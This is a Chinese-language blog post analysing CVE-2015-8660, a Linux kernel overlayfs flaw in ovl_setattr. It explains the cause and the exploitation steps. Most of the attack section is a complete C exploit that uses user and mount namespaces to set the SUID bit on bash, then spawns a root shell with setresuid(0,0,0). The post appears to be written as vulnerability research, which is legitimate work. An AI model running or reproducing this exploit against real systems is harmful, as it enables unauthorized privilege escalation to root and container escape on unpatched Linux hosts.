码迷,mamicode.com
首页 > 其他好文 > 详细

CVE-2015-8660分析

时间:2016-08-08 17:30:35      阅读:434      评论:0      收藏:0      [点我收藏+]

标签:

0x00测试环境

 

使用环境

备注

操作系统

Ubuntu15.04

虚拟机

内核版本

3.19.0-15-generic

 

漏洞来源

/fs/overlayfs/inode.c

Before 2015.12.11

EXP

c

提权

0x01原理分析:

1)概述

通常的内核漏洞我们会想办法通过执行commit_creds(prepare_kernel_creds(0);来达到提取的目的,而本漏洞实现了另一种巧妙的逻辑绕过提权姿势。受此漏洞影响内核版本包括LinuxKernel 3.18.x3.19.x4.1.x4.2.x4.3.x

overlayfs是目前使用比较广泛的层次文件系统,实现简单,具有上下合并、同名遮盖、写时拷贝等特点,旨在运行只读设备(下层文件)时创建可写的临时文件系统(上层文件)。

2)漏洞分析

该漏洞是fs/overlayfs/inode.covl_setattr()函数的一个失误引起的。在一个namespace中的进程会拥有自己的CAP_SYS_ADMIN权能,所以可以修改自己namespacemountoverlayfs上的文件属性,可被利用绕过文件系统检查,从而逃逸namespace,修改任意文件属性,通过设置挂载的bashSUID位,子进程结束后在主进程中执行setreuiduidgideid置零,再起一个shell即为root权限。下图是补丁对比

 技术分享

3)POC

    我将通过mount命令操作来说明通过修改挂载到overlayfs的文件属性,可以修改原文件的属性:

    技术分享

0x02漏洞利用

1)利用思路

?利用clone(childFunc,child_stack+STACK_SIZE,CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD,args)创建user和mount namespace的进程(经验证,添加其余namespace也可提权);

②子进程内mount操作,/bin作为下层目录挂载一个overlayfs到临时目录/tmp/exp/o,并用临时目录/tmp/exp/u作为上层目录;

③挂载overlayfs后,由于底层目录是/bin,所以挂载后,/tmp/exp/o目录也有/bin下的bash文件;

④由于系统并不会检查是否有权限修改文件属性,通过chmod可以设置bash的suid位,这个bash就具备了root临时权限;

⑤在namespace外用setresuid(0,0,0)设置新起的shell为root权限。

2)EXP

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
#include<sched.h>
#include<linux/sched.h>
#include<signal.h>
#include<sys/mount.h>
#include<stdlib.h>
#include<sys/stat.h>

static char child_stack[1024*1024];
static int child_exec(void *stuff)
{
	printf("clone a user namespace\n");       
	mkdir("/tmp/w",0777);
	mkdir("/tmp/u",0777);
	mkdir("/tmp/o",0777);
	printf("mount overlayfs in user namespace:\n");
	if(mount("overlay","/tmp/o","overlay",MS_MGC_VAL,"lowerdir=/bin,upperdir=/tmp/u,workdir=/tmp/w")!=0)   //挂载overlay文件系统,带了个magic_number,无关紧要
	{
		printf("mount failed...\n");
		fprintf(stderr,"mount failed...\n");
	}
	else
	{
		printf("mount sucess!!\n");
	}
	chmod("/tmp/w/work",0777);
	chdir("/tmp/o"); //改变当前工作目录
	chmod("bash",04755);  //bash的suid置位
	chdir("/");//到根目录去
	umount("/tmp/o");//取消挂载,此时namspce外的bash的suid也被置位
	return 0;
}

int main(int argc,char *argv[])
{
	int status;
	pid_t init;
	int clone_flags = CLONE_NEWNS |CLONE_NEWUTS | CLONE_NEWPID| CLONE_NEWNET |CLONE_NEWIPC | SIGCHLD;//创建所有namespace
	struct stat s;
	if((init = fork()) == 0)
	{
		if(unshare(CLONE_NEWUSER)!=0)
		{
			printf("failed to create new user namespase\n");
		}
		pid_t pid = clone(child_exec,child_stack + (1024*1024),clone_flags,NULL);//创建子进程
		if(pid < 0)
		{
			printf("error\n");
			fprintf(stderr,"failed to create new mount namespace\n");
			exit(-1);
		}
		waitpid(pid,&status,0);
                printf("now return to parent process\n");
 		return 0;
	}	
       	usleep(30000);//挂起主进程
 	wait(NULL);//等待子进程返回
 	stat("/tmp/u/bash",&s);//获取bash文件信息
 	printf("get the s.st_mode is %o\n",s.st_mode);
	if(s.st_mode == 0x89ed)  //校验bash的suid是否被置位
	{
		printf("successfully set the bash‘s suid as below shown:\n");
                system("ls -al /tmp/u/ | grep bash");
                printf("\n");
                printf("\n");
		execl("/tmp/u/bash","bash","-p","-c","python -c "import os;os.setresuid(0,0,0);os.execl(‘/bin/bash‘,‘bash‘);"",NULL);//用python另起shell,设置uid,gid,eid值,获取root权限              
	}
	else
	{
		printf("execl error!!\n");
	}
        return 0;
}

 

0x03过程总结

1)提权效果

   执行pwn后,/tmp/us中挂载的bashsuid被置位:

技术分享

   获取root权限:

 技术分享

2)总结

   通过user namespaes提供未授权用户某些内核功能,增加了内核攻击的风险,Linux Container基于这些namespaces实现隔离,如果未采取适当的权能分配、校验和内核管理,容易导致容器逃逸攻击。

CVE-2015-8660分析

标签:

原文地址:http://www.cnblogs.com/Joe-Z/p/5750031.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!